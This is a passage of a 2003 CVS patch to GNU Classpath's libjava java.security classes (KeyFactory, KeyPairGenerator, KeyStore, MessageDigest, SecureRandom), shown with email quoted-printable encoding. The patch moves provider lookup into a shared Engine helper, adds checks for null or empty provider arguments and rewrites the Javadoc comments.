+ } + catch (InstantiationException ie) + { + error =3D "instantiation exception: " + ie.getMessage(); + } + catch (ExceptionInInitializerError eiie) + { + error =3D "exception in initializer: " + eiie.getMessage(); + } + catch (SecurityException se) + { + error =3D "security exception: " + se.getMessage(); + } + + throw new NoSuchAlgorithmException(error); + } +} Index: libjava/java/security/KeyFactory.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/KeyFactory.java,v retrieving revision 1.2 diff -u -r1.2 KeyFactory.java --- libjava/java/security/KeyFactory.java 22 Jan 2002 22:40:30 -0000 1.2 +++ libjava/java/security/KeyFactory.java 8 Mar 2003 20:50:55 -0000 @@ -1,5 +1,5 @@ /* KeyFactory.java --- Key Factory Class - Copyright (C) 1999 Free Software Foundation, Inc. + Copyright (C) 1999, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -36,31 +36,42 @@ exception statement from your version. */ =20 package java.security; + import java.security.spec.KeySpec; import java.security.spec.InvalidKeySpecException; =20 /** - Key factories are used to convert keys (opaque cryptographic=20 - keys of type Key) into key specifications (transparent=20 - representations of the underlying key material). - - Key factories are bi-directional. They allow a key class=20 - to be converted into a key specification (key material) and - back again. - - For example DSA public keys can be specified as=20 - DSAPublicKeySpec or X509EncodedKeySpec. The key factory - translate these key specifications.=20 - - @since JDK 1.2 - @author Mark Benvenuto + * Key factories are used to convert keys (opaque cryptographic keys of + * type {@link Key}) to and from key specifications (transparent + * representations of the underlying key material), and to translate + * keys into vendor-specific types. + * + *

          For example, DSA public keys can be specified as {@link + * java.security.spec.DSAPublicKeySpec} or {@link + * java.security.spec.X509EncodedKeySpec}, and DSA key factories can + * translate these key specifications into instances of {@link + * java.security.interfaces.DSAKey}. + * + * @since JDK 1.2 + * @author Mark Benvenuto + * @author Casey Marshall */ public class KeyFactory { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** The service name for key factories. */ + private static final String KEY_FACTORY =3D "KeyFactory"; + private KeyFactorySpi keyFacSpi; private Provider provider; private String algorithm; =20 + // Constructors. + // ---------------------------------------------------------------------= --- + /** Constructs a new keyFactory with the specified parameters. =20 @@ -76,15 +87,16 @@ this.algorithm =3D algorithm; } =20 - /**=20 - Gets an instance of the KeyFactory class representing - the specified key factory. If the algorithm is not=20 - found then, it throws NoSuchAlgorithmException. - - @param algorithm the name of algorithm to choose - @return a KeyFactory repesenting the desired algorithm + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @throws NoSuchAlgorithmException if the algorithm is not implemented = by providers + /** + * Get a key factory from the first provider that implements it. + * + * @param algorithm the name of algorithm to choose + * @return a KeyFactory repesenting the desired algorithm + * @throws NoSuchAlgorithmException If the algorithm is not implemented + * by providers or if the implementation cannot be instantiated. */ public static KeyFactory getInstance(String algorithm) throws NoSuchAlgorithmException @@ -93,63 +105,73 @@ =20 for (int i =3D 0; i < p.length; i++) { - String classname =3D p[i].getProperty("KeyFactory." + algorithm); - if (classname !=3D null) - return getInstance(classname, algorithm, p[i]); + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignore) + { + } } =20 throw new NoSuchAlgorithmException(algorithm); } =20 - /**=20 - Gets an instance of the KeyFactory class representing - the specified key factory from the specified provider.=20 - If the algorithm is not found then, it throws=20 - NoSuchAlgorithmException. If the provider is not found, then=20 - it throws NoSuchProviderException. - - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a KeyFactory repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by the provider - @throws NoSuchProviderException if the provider is not found + /** + * Get a key factory from a named provider. + * + * @param algorithm The name of the algorithm. + * @param provider The name of the provider. + * @return a KeyFactory for the desired algorithm + * @throws NoSuchAlgorithmException If the algorithm is not implemented + * by the provider or if the implementation cannot be instantiat= ed. + * @throws NoSuchProviderException If the provider is not found. + * @throws IllegalArgumentException If provider is null or + * is empty. */ public static KeyFactory getInstance(String algorithm, String provider) throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(); =20 - return getInstance(p.getProperty("KeyFactory." + algorithm), - algorithm, p); + return getInstance(algorithm, p); } =20 - private static KeyFactory getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException + /** + * Get a key factory from the specified provider. + * + * @param algorithm The name of the algorithm. + * @param provider The provider to get the implementation from. + * @return A key factory for the given algorithm. + * @throws NoSuchAlgorithmException If the provider does not implement + * the given algorithm, or if the implementation cannot be + * instantiated. + * @throws IllegalArgumentException If provider is null. + */ + public static KeyFactory getInstance(String algorithm, Provider provider= ) + throws NoSuchAlgorithmException { - + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); try { - return new KeyFactory((KeyFactorySpi) Class.forName(classname). - newInstance(), provider, algorithm); + return new KeyFactory((KeyFactorySpi) + Engine.getInstance(KEY_FACTORY, algorithm, provider), + provider, algorithm); } - catch (ClassNotFoundException cnfe) + catch (ClassCastException cce) { - throw new NoSuchAlgorithmException("Class not found"); - } - catch (InstantiationException ie) - { - throw new NoSuchAlgorithmException("Class instantiation failed"); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException("Illegal Access"); + throw new NoSuchAlgorithmException(algorithm); } } + + // Instance methods. + // ---------------------------------------------------------------------= --- =20 /** Gets the provider that the class is from. Index: libjava/java/security/KeyPairGenerator.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/KeyPairGenerator.java,v retrieving revision 1.4 diff -u -r1.4 KeyPairGenerator.java --- libjava/java/security/KeyPairGenerator.java 17 Nov 2002 00:10:24 -0000 = 1.4 +++ libjava/java/security/KeyPairGenerator.java 8 Mar 2003 20:50:55 -0000 @@ -1,5 +1,5 @@ /* KeyPairGenerator.java --- Key Pair Generator Class - Copyright (C) 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2002, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -40,25 +40,34 @@ import java.security.spec.AlgorithmParameterSpec; =20 /** - KeyPairGenerator is the class used to generate key pairs - for a security algorithm. - - The KeyPairGenerator is created with the getInstance() - methods. The class is used to generate public and private - keys for an algorithm and associate it with=20 - algorithm parameters. - - @author Mark Benvenuto + * An interface to a key pair generator. Key pairs are used in various + * public-key cryptographic algorithms, such as digital signing, + * key agreement, and asymmetric cryptography. + * + * @see Signature + * @see KeyPair + * @author Mark Benvenuto + * @author Casey Marshall */ public abstract class KeyPairGenerator extends KeyPairGeneratorSpi { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** The service name for key pair generators. */ + private static final String KEY_PAIR_GENERATOR =3D "KeyPairGenerator"; + Provider provider; private String algorithm; =20 - /** - Constructs a new KeyPairGenerator + // Constructors. + // ---------------------------------------------------------------------= --- =20 - @param algorithm the algorithm to use + /** + * Constructs a new KeyPairGenerator + * + * @param algorithm the algorithm to use */ protected KeyPairGenerator(String algorithm) { @@ -66,60 +75,58 @@ this.provider =3D null; } =20 - /** - Returns the name of the algorithm used - - @return A string with the name of the algorithm - */ - public String getAlgorithm() - { - return algorithm; - } - - /**=20 - Gets an instance of the KeyPairGenerator class=20 - which generates key pairs for the specified algorithm.=20 - If the algorithm is not found then, it throws NoSuchAlgorithmExceptio= n. - - @param algorithm the name of algorithm to choose - @return a AlgorithmParameterGenerator repesenting the desired algorit= hm + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @throws NoSuchAlgorithmException if the algorithm is not implemented = by - providers + /** + * Get a key pair generator for the specified algorithm from the first + * provider that implements it. + * + * @param algorithm the name of algorithm to choose + * @return a AlgorithmParameterGenerator repesenting the desired algorit= hm + * @throws NoSuchAlgorithmException if the algorithm is not implemented = by + * any installed provider or if no implementation can be + * instantiated. */ - public static KeyPairGenerator getInstance(String algorithm) throws - NoSuchAlgorithmException + public static KeyPairGenerator getInstance(String algorithm) + throws NoSuchAlgorithmException { Provider[] p =3D Security.getProviders(); =20 for (int i =3D 0; i < p.length; i++) { - try - { - return getInstance(algorithm, p[i]); - } - catch (NoSuchAlgorithmException ignored) {} + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignored) + { + } } =20 throw new NoSuchAlgorithmException(algorithm); } =20 - /**=20 - Gets an instance of the KeyPairGenerator class=20 - which generates key pairs for the specified algorithm.=20 - If the algorithm is not found then, it throws NoSuchAlgorithmExceptio= n. - - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a AlgorithmParameterGenerator repesenting the desired algorit= hm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by - the provider - @throws NoSuchProviderException if the provider is not found + /** + * Get a key pair generator for the specified algorithm from the named + * provider. + * + * @param algorithm The name of the algorithm. + * @param provider The name of the provider. + * @return A KeyPairGenerator for the desired algorithm. + * @throws NoSuchAlgorithmException If the algorithm is not implemented = by + * the provider or if the implementation cannot be instantiated. + * @throws NoSuchProviderException If no provider named + * provider is installed. + * @throws IllegalArgumentException If provider is null + * or is empty. */ public static KeyPairGenerator getInstance(String algorithm, String prov= ider) - throws NoSuchAlgorithmException, NoSuchProviderException + throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(provider); @@ -127,63 +134,51 @@ return getInstance(algorithm, p); } =20 - private static KeyPairGenerator getInstance(String algorithm, Provider p= ) - throws NoSuchAlgorithmException - { - // try the name as is - String className =3D p.getProperty("KeyPairGenerator." + algorithm); - if (className =3D=3D null) { // try all uppercase - String upper =3D algorithm.toUpperCase(); - className =3D p.getProperty("KeyPairGenerator." + upper); - if (className =3D=3D null) { // try if it's an alias - String alias =3D p.getProperty("Alg.Alias.KeyPairGenerator." + alg= orithm); - if (alias =3D=3D null) { // try all-uppercase alias name - alias =3D p.getProperty("Alg.Alias.KeyPairGenerator." + upper); - if (alias =3D=3D null) { // spit the dummy - throw new NoSuchAlgorithmException(algorithm); - } - } - className =3D p.getProperty("KeyPairGenerator." + alias); - if (className =3D=3D null) { - throw new NoSuchAlgorithmException(algorithm); - } - } - } - return getInstance(className, algorithm, p); - } - - private static KeyPairGenerator getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException - { - try - { - Object o =3D Class.forName(classname).newInstance(); - KeyPairGenerator kpg; - if (o instanceof KeyPairGeneratorSpi) - kpg =3D new DummyKeyPairGenerator((KeyPairGeneratorSpi) o, algorithm); - else - { - kpg =3D (KeyPairGenerator) o; - kpg.algorithm =3D algorithm; - } - - kpg.provider =3D provider; - return kpg; - } - catch (ClassNotFoundException cnfe) - { - throw new NoSuchAlgorithmException("Class not found"); - } - catch (InstantiationException ie) + /** + * Get a key pair generator for the specified algorithm from the given + * provider. + * + * @param algorithm The name of the algorithm. + * @param provider The provider. + * @return A KeyPairGenerator for the desired algorithm. + * @throws NoSuchAlgorithmException If the algorithm is not implemented = by + * the provider or if the implementation cannot be instantiated. + * @throws IllegalArgumentException If provider is null. + * @since 1.4 + */ + public static KeyPairGenerator + getInstance(String algorithm, Provider provider) + throws NoSuchAlgorithmException + { + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); + + Object o =3D Engine.getInstance(KEY_PAIR_GENERATOR, algorithm, provide= r); + KeyPairGenerator result =3D null; + if (o instanceof KeyPairGeneratorSpi) { - throw new NoSuchAlgorithmException("Class instantiation failed"); + result =3D new DummyKeyPairGenerator((KeyPairGeneratorSpi) o, algo= rithm); } - catch (IllegalAccessException iae) + else if (o instanceof KeyPairGenerator) { - throw new NoSuchAlgorithmException("Illegal Access"); + result =3D (KeyPairGenerator) o; + result.algorithm =3D algorithm; } + result.provider =3D provider; + return result; + } + + // Instance methods. + // ---------------------------------------------------------------------= --- + + /** + Returns the name of the algorithm used + + @return A string with the name of the algorithm + */ + public String getAlgorithm() + { + return algorithm; } =20 /** Index: libjava/java/security/KeyStore.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/KeyStore.java,v retrieving revision 1.3 diff -u -r1.3 KeyStore.java --- libjava/java/security/KeyStore.java 18 Nov 2002 18:09:35 -0000 1.3 +++ libjava/java/security/KeyStore.java 8 Mar 2003 20:50:57 -0000 @@ -1,5 +1,5 @@ /* KeyStore.java --- Key Store Class - Copyright (C) 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2002, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -44,37 +44,52 @@ import java.util.Enumeration; =20 /** - Keystore represents an in-memory collection of keys and=20 - certificates. There are two types of entries: - - * Key Entry - - This type of keystore entry store sensitive crytographic key - information in a protected format.Typically this is a secret=20 - key or a private key with a certificate chain. - - - * Trusted Ceritificate Entry - - This type of keystore entry contains a single public key=20 - certificate belonging to annother entity. It is called trusted - because the keystore owner trusts that the certificates - belongs to the subject (owner) of the certificate. - - The keystore contains an "alias" string for each entry.=20 - - The structure and persistentence of the key store is not=20 - specified. Any method could be used to protect sensitive=20 - (private or secret) keys. Smart cards or integrated=20 - cryptographic engines could be used or the keystore could=20 - be simply stored in a file.=20 + * Keystore represents an in-memory collection of keys and=20 + * certificates. There are two types of entries: + * + *

          + *
          Key Entry
          + * + *

          This type of keystore entry store sensitive crytographic key + * information in a protected format.Typically this is a secret=20 + * key or a private key with a certificate chain.

          + * + *
          Trusted Ceritificate Entry
          + * + *

          This type of keystore entry contains a single public key=20 + * certificate belonging to annother entity. It is called trusted + * because the keystore owner trusts that the certificates + * belongs to the subject (owner) of the certificate.

          + *
          + * + *

          Entries in a key store are referred to by their "alias": a simple + * unique string. + * + *

          The structure and persistentence of the key store is not=20 + * specified. Any method could be used to protect sensitive=20 + * (private or secret) keys. Smart cards or integrated=20 + * cryptographic engines could be used or the keystore could=20 + * be simply stored in a file.

          + * + * @see java.security.cert.Certificate + * @see Key */ public class KeyStore { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** Service name for key stores. */ + private static final String KEY_STORE =3D "KeyStore"; + private KeyStoreSpi keyStoreSpi; private Provider provider; private String type; =20 + // Constructors. + // ---------------------------------------------------------------------= --- + /** Creates an instance of KeyStore =20 @@ -89,16 +104,18 @@ this.type =3D type; } =20 - /**=20 - Gets an instance of the KeyStore class representing - the specified keystore. If the type is not=20 - found then, it throws KeyStoreException. - - @param type the type of keystore to choose - - @return a KeyStore repesenting the desired type + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @throws KeyStoreException if the type of keystore is not implemented = by providers + /**=20 + * Gets an instance of the KeyStore class representing + * the specified keystore. If the type is not=20 + * found then, it throws KeyStoreException. + * + * @param type the type of keystore to choose + * @return a KeyStore repesenting the desired type + * @throws KeyStoreException if the type of keystore is not implemented + * by providers or the implementation cannot be instantiated. */ public static KeyStore getInstance(String type) throws KeyStoreException { @@ -106,95 +123,102 @@ =20 for (int i =3D 0; i < p.length; i++) { - String classname =3D p[i].getProperty("KeyStore." + type); - if (classname !=3D null) - return getInstance(classname, type, p[i]); + try + { + return getInstance(type, p[i]); + } + catch (KeyStoreException ignore) + { + } } =20 throw new KeyStoreException(type); } =20 /**=20 - Gets an instance of the KeyStore class representing - the specified key store from the specified provider.=20 - If the type is not found then, it throws KeyStoreException.=20 - If the provider is not found, then it throws=20 - NoSuchProviderException. - - @param type the type of keystore to choose - @param provider the provider name - - @return a KeyStore repesenting the desired type - - @throws KeyStoreException if the type of keystore is not=20 - implemented by the given provider - @throws NoSuchProviderException if the provider is not found - @throws IllegalArgumentException if the provider string is=20 - null or empty + * Gets an instance of the KeyStore class representing + * the specified key store from the specified provider.=20 + * If the type is not found then, it throws KeyStoreException.=20 + * If the provider is not found, then it throws=20 + * NoSuchProviderException. + * + * @param type the type of keystore to choose + * @param provider the provider name + * @return a KeyStore repesenting the desired type + * @throws KeyStoreException if the type of keystore is not=20 + * implemented by the given provider + * @throws NoSuchProviderException if the provider is not found + * @throws IllegalArgumentException if the provider string is=20 + * null or empty */ public static KeyStore getInstance(String type, String provider) throws KeyStoreException, NoSuchProviderException { if (provider =3D=3D null || provider.length() =3D=3D 0) throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(); =20 - return getInstance(p.getProperty("KeyStore." + type), type, p); + return getInstance(type, p); } =20 /**=20 - Gets an instance of the KeyStore class representing - the specified key store from the specified provider.=20 - If the type is not found then, it throws KeyStoreException.=20 - If the provider is not found, then it throws=20 - NoSuchProviderException. - - @param type the type of keystore to choose - @param provider the keystore provider - - @return a KeyStore repesenting the desired type - - @throws KeyStoreException if the type of keystore is not=20 - implemented by the given provider - @throws IllegalArgumentException if the provider object is null - @since 1.4 + * Gets an instance of the KeyStore class representing + * the specified key store from the specified provider.=20 + * If the type is not found then, it throws KeyStoreException.=20 + * If the provider is not found, then it throws=20 + * NoSuchProviderException. + * + * @param type the type of keystore to choose + * @param provider the keystore provider + * @return a KeyStore repesenting the desired type + * @throws KeyStoreException if the type of keystore is not=20 + * implemented by the given provider + * @throws IllegalArgumentException if the provider object is null + * @since 1.4 */ public static KeyStore getInstance(String type, Provider provider) throws KeyStoreException=20 { if (provider =3D=3D null) throw new IllegalArgumentException("Illegal provider"); - - return getInstance(provider.getProperty("KeyStore." + type), - type, provider); - } - - private static KeyStore getInstance(String classname, - String type, - Provider provider) - throws KeyStoreException - { try { - return new KeyStore((KeyStoreSpi) Class.forName(classname). - newInstance(), provider, type); - } - catch (ClassNotFoundException cnfe) - { - throw new KeyStoreException("Class not found"); + return new KeyStore( + (KeyStoreSpi) Engine.getInstance(KEY_STORE, type, provider), + provider, type); } - catch (InstantiationException ie) + catch (NoSuchAlgorithmException nsae) { - throw new KeyStoreException("Class instantiation failed"); + throw new KeyStoreException(type); } - catch (IllegalAccessException iae) + catch (ClassCastException cce) { - throw new KeyStoreException("Illegal Access"); + throw new KeyStoreException(type); } } =20 + /** + * Returns the default KeyStore type. This method looks up the + * type in /lib/security/java.security with the=20 + * property "keystore.type" or if that fails then "jks" . + */ + public static final String getDefaultType() + { + // Security reads every property in java.security so it=20 + // will return this property if it exists.=20 + String tmp =3D Security.getProperty("keystore.type"); + + if (tmp =3D=3D null) + tmp =3D "jks"; + + return tmp; + } + + // Instance methods. + // ---------------------------------------------------------------------= --- =20 /** Gets the provider that the class is from. @@ -471,21 +495,4 @@ keyStoreSpi.engineLoad(stream, password); } =20 - /** - Returns the default KeyStore type. This method looks up the - type in /lib/security/java.security with the=20 - property "keystore.type" or if that fails then "jks" . - */ - public static final String getDefaultType() - { - String tmp; - //Security reads every property in java.security so it=20 - //will return this property if it exists.=20 - tmp =3D Security.getProperty("keystore.type"); - - if (tmp =3D=3D null) - tmp =3D "jks"; - - return tmp; - } } Index: libjava/java/security/MessageDigest.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/MessageDigest.java,v retrieving revision 1.8 diff -u -r1.8 MessageDigest.java --- libjava/java/security/MessageDigest.java 17 Nov 2002 00:10:24 -0000 1.8 +++ libjava/java/security/MessageDigest.java 8 Mar 2003 20:50:58 -0000 @@ -1,6 +1,5 @@ - /* MessageDigest.java --- The message digest interface. - Copyright (C) 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2002, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -38,17 +37,53 @@ =20 package java.security; =20 +/** + * An interface to message digest algorithms. A message digest + * algorithm takes as input a variable number of bytes and produces a + * fixed-length "fingerprint" of this data, with the property that it is + * computationally infeasible to (a) determine the source data from a + * given message digest, or (b) find two input texts that produce the same + * digest. Message digests are commonly used for ensuring the integrity + * or authenticity of data, and are used at the core of many signature + * and message authentication algorithms. + *

          + * To get an implementation of a message digest, query the {@link + * #getInstance(java.lang.String)} method with the name of the + * algorithm, e.g.: + * + *

          + * MessageDigest md =3D MessageDigest.getInstance("SHA1"); + *
          + * + *

          + * What algorithms are available depend upon what providers are + * installed and what message digests they implement. + *=20 + * @see MessageDigestSpi + * @see Provider + * @since JDK 1.1 + */ public abstract class MessageDigest extends MessageDigestSpi { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** The service name for message digests. */ + private static final String MESSAGE_DIGEST =3D "MessageDigest"; + private String algorithm; Provider provider; private byte[] lastDigest; =20 - /** - Creates a MessageDigest representing the specified - algorithm. + // Constructors. + // ---------------------------------------------------------------------= --- =20 - @param algorithm the name of digest algorithm to choose + /** + * Creates a MessageDigest representing the specified + * algorithm. + * + * @param algorithm the name of digest algorithm to choose */ protected MessageDigest(String algorithm) { @@ -56,130 +91,109 @@ provider =3D null; } =20 - /**=20 - Gets an instance of the MessageDigest class representing - the specified digest. If the algorithm is not found then,=20 - it throws NoSuchAlgorithmException. + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @param algorithm the name of digest algorithm to choose - @return a MessageDigest representing the desired algorithm - - @exception NoSuchAlgorithmException if the algorithm is not implement= ed by - providers + /** + * Get a message digest from the first provider that implements it. + * + * @param algorithm The name of digest algorithm. + * @return An instance of the desired message digest. + * @throws NoSuchAlgorithmException If the algorithm is not implemented + * by any installed provider. + * @see #getInstance(java.lang.String,java.lang.String) + * @see #getInstance(java.lang.String,java.security.Provider) */ public static MessageDigest getInstance(String algorithm) - throws NoSuchAlgorithmException + throws NoSuchAlgorithmException { Provider[] p =3D Security.getProviders(); for (int i =3D 0; i < p.length; i++) { - try - { - return getInstance(algorithm, p[i]); - } - catch (NoSuchAlgorithmException ignored) {} + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignored) + { + } } =20 throw new NoSuchAlgorithmException(algorithm); } =20 - /**=20 - Gets an instance of the MessageDigest class representing - the specified digest from the specified provider. If the=20 - algorithm is not found then, it throws NoSuchAlgorithmException. - If the provider is not found, then it throws - NoSuchProviderException. - - @param algorithm the name of digest algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a MessageDigest representing the desired algorithm - - @exception NoSuchAlgorithmException if the algorithm is not implement= ed by - the provider - @exception NoSuchProviderException if the provider is not found + /** + * Get a message digest from a named provider. + * + * @param algorithm The name of digest algorithm. + * @param provider The name of the provider. + * @return An instance of the desired message digest. + * + * @throws NoSuchAlgorithmException if the algorithm is not implemented = by + * the provider, or if the implementation cannot be instantiated= . + * @throws NoSuchProviderException If no provider named + * provider is currently installed. + * @throws IllegalArgumentException If provider is null + * or is empty. + * @see #getInstance(java.lang.String,java.security.Provider) */ - public static MessageDigest getInstance(String algorithm, String provide= r) - throws NoSuchAlgorithmException, NoSuchProviderException + throws NoSuchAlgorithmException, NoSuchProviderException { - Provider p =3D Security.getProvider(provider); + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); =20 + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(provider); =20 return getInstance(algorithm, p); } =20 - private static MessageDigest getInstance(String algorithm, Provider p) - throws NoSuchAlgorithmException - { - // try the name as is - String className =3D p.getProperty("MessageDigest." + algorithm); - if (className =3D=3D null) { // try all uppercase - String upper =3D algorithm.toUpperCase(); - className =3D p.getProperty("MessageDigest." + upper); - if (className =3D=3D null) { // try if it's an alias - String alias =3D p.getProperty("Alg.Alias.MessageDigest." +algorit= hm); - if (alias =3D=3D null) { // try all-uppercase alias name - alias =3D p.getProperty("Alg.Alias.MessageDigest." +upper); - if (alias =3D=3D null) { // spit the dummy - throw new NoSuchAlgorithmException(algorithm); - } - } - className =3D p.getProperty("MessageDigest." + alias); - if (className =3D=3D null) { - throw new NoSuchAlgorithmException(algorithm); - } - } - } - return getInstance(className, algorithm, p); - } - - private static MessageDigest getInstance(String classname, - String algorithm, - Provider provider) + /** + * Gets an implementation of the specified message digest algorithm + * from the specified provider. + * + * @param algorithm The message digest algorithm's name. + * @param provider The provider from which to get the implementation. + * @throws NoSuchAlgorithmException If the provider does not implement + * the algorithm, or if the implementation cannot be + * instantiated. + * @throws IllegalArgumentException If provider is null. + * @since 1.4 + */ + public static MessageDigest getInstance(String algorithm, Provider provi= der) throws NoSuchAlgorithmException { - if (classname =3D=3D null) - throw new NoSuchAlgorithmException(algorithm); - + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); MessageDigest result =3D null; - try + Object o =3D Engine.getInstance(MESSAGE_DIGEST, algorithm, provider); + =20 + if (o instanceof MessageDigestSpi) { - Object obj =3D Class.forName(classname).newInstance(); - if (obj instanceof MessageDigest) { - result =3D (MessageDigest) obj; - result.algorithm =3D algorithm; - } else if (obj instanceof MessageDigestSpi) { - result =3D new DummyMessageDigest((MessageDigestSpi) obj, algori= thm); - } else { - throw new ClassCastException("Class "+classname+" from Provider = " - +provider.getName() - +" does not extend java.security.MessageDigestSpi"); - } - result.provider =3D provider; - return result; + result =3D new DummyMessageDigest((MessageDigestSpi) o, algorithm)= ; } - catch (ClassNotFoundException cnfe) + else if (o instanceof MessageDigest) { - throw new NoSuchAlgorithmException(algorithm + ": Class not found."); + result =3D (MessageDigest) o; + result.algorithm =3D algorithm; } - catch (InstantiationException ie) + else { - throw new NoSuchAlgorithmException(algorithm - + ": Class instantiation failed."); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException(algorithm + ": Illegal Access"); + throw new NoSuchAlgorithmException(algorithm); } + result.provider =3D provider; + return result; } =20 + // Instance methods. + // ---------------------------------------------------------------------= --- =20 /** - Gets the provider that the MessageDigest is from. - - @return the provider the this MessageDigest + * Gets the provider that the MessageDigest is from. + * + * @return The provider of this message digest implementation. */ public final Provider getProvider() { @@ -187,9 +201,9 @@ } =20 /** - Updates the digest with the byte. - - @param input byte to update the digest with + * Updates the digest with a single byte. + * + * @param input The byte to update the digest with. */ public void update(byte input) { @@ -197,32 +211,32 @@ } =20 /** - Updates the digest with the bytes from the array from the - specified offset to the specified length. - - @param input bytes to update the digest with - @param offset the offset to start at - @param len length of the data to update with + * Updates the digest with a portion of a byte array. + * + * @param input The bytes to update the digest with. + * @param offset The offset to start at in the array. + * @param len The number of bytes to update. */ - public void update(byte[]input, int offset, int len) + public void update(byte[] input, int offset, int len) { engineUpdate(input, offset, len); } =20 /** - Updates the digest with the bytes from the array. - - @param input bytes to update the digest with + * Updates the digest with an entire byte array. + * + * @param input The bytes to update the digest with. + * @see #update(byte[],int,int) */ - public void update(byte[]input) + public void update(byte[] input) { engineUpdate(input, 0, input.length); } =20 /** - Computes the digest of the stored data. - - @return a byte array representing the message digest + * Computes the final digest of the stored data, and resets this instanc= e. + * + * @return a byte array representing the message digest */ public byte[] digest() { @@ -230,13 +244,13 @@ } =20 /** - Computes the final digest of the stored bytes and returns - them.=20 - - @param buf An array of bytes to store the digest - @param offset An offset to start storing the digest at - @param len The length of the buffer - @return Returns the length of the buffer + * Computes the final digest of the stored bytes and stores it into + * the given byte array, returning the number of bytes stored. + * + * @param buf An array of bytes to store the digest. + * @param offset The offset to start storing the digest at. + * @param len The maximum number of bytes to store in the array. + * @return The number of bytes stored into buf */ public int digest(byte[]buf, int offset, int len) throws DigestException { Index: libjava/java/security/SecureRandom.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/SecureRandom.java,v retrieving revision 1.8 diff -u -r1.8 SecureRandom.java --- libjava/java/security/SecureRandom.java 13 Feb 2003 17:00:22 -0000 1.8 +++ libjava/java/security/SecureRandom.java 8 Mar 2003 20:50:58 -0000 @@ -42,14 +42,24 @@ import java.util.Enumeration; =20 /** - SecureRandom is the class interface for using SecureRandom - providers. It provides an interface to the SecureRandomSpi - engine so that programmers can generate pseudo-random numbers. - - @author Mark Benvenuto + * An interface to a 